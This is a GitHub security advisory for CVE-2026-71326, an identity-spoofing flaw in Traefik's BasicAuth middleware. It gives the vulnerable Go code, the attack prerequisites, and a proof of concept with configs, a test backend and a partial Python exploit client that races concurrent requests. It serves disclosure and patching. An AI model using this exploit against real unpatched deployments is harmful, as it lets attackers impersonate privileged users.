GitHub Advisoryadvisory · Go
GHSA-6765-c87h-8mrf Traefik: BasicAuth singleflight key collision allows authenticated identity spoofing
LOW
Official page ↗
- Aliases
- CVE-2026-71326
- Ecosystem
- Go
- Packages
- github.com/traefik/traefik/v3
- Severity
- Low
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-287
- Reviewed
- 2026-08-06
Affected packages
• Go github.com/traefik/traefik/v3: >= 3.6.11, < 3.6.25 → fixed in 3.6.25
• Go github.com/traefik/traefik/v3: >= 3.7.0, < 3.7.10 → fixed in 3.7.10
Description
Summary
There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential and to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.
Patches
• https://github.com/traefik/traefik/releases/tag/v3.6.25
• https://github.com/traefik/traefik/releases/tag/v3.7.10
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description
Summary
Traefik's BasicAuth middleware deduplicates concurrent password checks with a
`singleflight.Group`. Its key is the delimiter-free concatenation
`password + secret`. For an existing user with password `P` and stored hash
`H`, the key is `P || H`. An unknown user can select the password `P || H`;
because its secret is the empty string, its key is also `P || H`.
If the existing user's request starts the shared calculation, the unknown
user receives the existing user's successful Boolean result. Traefik then
continues processing the unknown user's original request and propagates the
attacker-selected username through `URL.User`, the access log, and the
configured BasicAuth `headerField`.
A user who knows one valid username/password/hash tuple can therefore
authenticate concurrently under any unconfigured username. This becomes a
privilege escalation when a backend uses the BasicAuth `headerField` as a
trusted identity, which is the documented purpose of that option.
Details
The vulnerable logic is in
`pkg/middlewares/auth/basic_auth.go:118-131`:
```go
func (b *basicAuth) checkPassword(user, password string) bool {
secret := b.auth.Secrets(user, b.auth.Realm)
key := password + secret
match, _, _ := b.singleflightGroup.Do(key, func() (any, error) {
if secret == "" {
_ = b.checkSecret(password, b.notFoundSecret)
return false, nil
}
return b.checkSecret(password, secret), nil
})
return match.(bool)
}
```
For a configured user `viewer`:
```text
password = P
secret = H
key = P || H
result = true
```
For an unconfigured user `admin`:
```text
password = P || H
secret = ""
key = (P || H) || "" = P || H
```
`singleflight.Group.Do` shares the first in-flight result for equal keys. If
the configured user's check is first, the unknown user's closure is not run
and the unknown request receives `true`.
The authorization result is not bound to the username. After the shared
result is accepted, `ServeHTTP` uses the username parsed from the unknown
request:
```go
req.URL.User = url.User(user)
if b.headerField != "" {
req.Header.Del(b.headerField)
req.Header[b.headerField] = []string{user}
}
```
Consequently, the backend sees the attacker-selected `admin` identity, not
the valid request's `viewer` identity.
Attack prerequisites
The attacker needs:
1. network access to a route protected by the affected BasicAuth middleware;
2. one valid low-privilege username and password;
3. the corresponding stored password hash.
The hash is often present in deployment labels or routing configuration.
Traefik's API is also a direct source when the attacker can access it:
`GET /api/http/middlewares/{id}` serializes `basicAuth.users`, including the
hash, despite the field carrying `loggable:"false"`. The official v3.7.8
binary returned the hash in the validation environment.
The attacker does not need another user's password or a victim-generated
request. The attacker creates both concurrent requests: one with their valid
credentials and one with an arbitrary, unconfigured target username.
Security impact
When `headerField` is configured, an authenticated low-privilege user can
impersonate an arbitrary identity to the backend. Depending on downstream
authorization, this can allow:
• access to administrative data;
• execution of privileged state-changing operations;
• corruption of audit attribution;
• bypass of identity-based tenant or role separation.
Without `headerField`, the unknown request is still admitted through the
BasicAuth middleware. The practical consequence then depends on whether the
protected route treats all authenticated users equally.
Proof of Concept
Validation environment
• Official Traefik v3.7.8 Linux amd64 release.
• Build timestamp: `2026-07-15T12:42:25Z`.
• Go version in the release: `go1.26.5`.
• Archive SHA-256:
`dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7`.
• The checksum matched the official
`traefik_v3.7.8_checksums.txt` release asset.
• No Traefik source files were modified.
Dynamic configuration
The bcrypt hash below is for password `test` and uses cost 12:
```yaml
http:
routers:
app:
entryPoints:
• web
rule: PathPrefix(`/`)
middlewares:
• auth
service: backend
middlewares:
auth:
basicAuth:
headerField: X-WebAuth-User
removeHeader: true
users:
• 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'
services:
backend:
loadBalancer:
servers:
• url: http://127.0.0.1:19090
```
Save it as `dynamic.yml`. Use this install configuration as `static.yml`:
```yaml
global:
checkNewVersion: false
sendAnonymousUsage: false
api:
insecure: true
entryPoints:
web:
address: 127.0.0.1:18080
providers:
file:
filename: /absolute/path/to/dynamic.yml
watch: false
```
The API is enabled only to demonstrate that the runtime representation
exposes the configured hash. It is not needed if the tester already knows the
hash from the configuration.
Use this backend as `backend.py`; it responds with the identity Traefik puts
in the trusted header:
```python
from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
body = (self.headers.get("X-WebAuth-User", "") + "\n").encode()
self.send_response(200)
self.send_header("Content-Length", str(len(body)))
self.end_headers()
self.wfile.write(body)
def log_message(self, *args):
pass
ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serve_forever()
```
Start the backend and Traefik in separate shells.
Shell 1:
```bash
python3 backend.py
```
Shell 2:
```bash
./traefik --configFile=/absolute/path/to/static.yml
```
Exploit client
```python
import base64
import http.client
import json
import threading
import time
import urllib.request
HOST = "127.0.0.1"
PORT = 18080
PASSWORD = "test"
HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."
def request(user, password):
conn = http.client.HTTPConnection(HOST, PORT, timeout=5)
token = base64.b64encode(f"{user}:{password}".encode()).decode()
conn.request("GET", "/", headers={"Authorization": f"Basic {token}"})
response = conn.getresponse()
body = response.read().decode().strip()
status = response.status
conn.close()
return status, body
middleware = json.load(
urllib.request.urlopen(
"http://127.0.0.1:8080/api/http/middlewares/auth%40file"
)
)
print("api_users", middleware["basicAuth"]["users"])
print("val…
Related
Alias · CVE (1)
- CVE-2026-71326 Traefik is an open source HTTP reverse proxy and load balancer. vulnerability
Weakness · CWE (1)
- CWE-287 Improper Authentication weakness
References
- https://github.com/traefik/traefik/security/advisories/GHSA-6765-c87h-8mrf web
- https://github.com/traefik/traefik/pull/13572 web
- https://github.com/traefik/traefik/commit/b5ace8eb5d6779980567f5e75efd2d9e08b7e350 web
- https://github.com/traefik/traefik package
- https://github.com/traefik/traefik/releases/tag/v3.6.25 web
- https://github.com/traefik/traefik/releases/tag/v3.7.10 web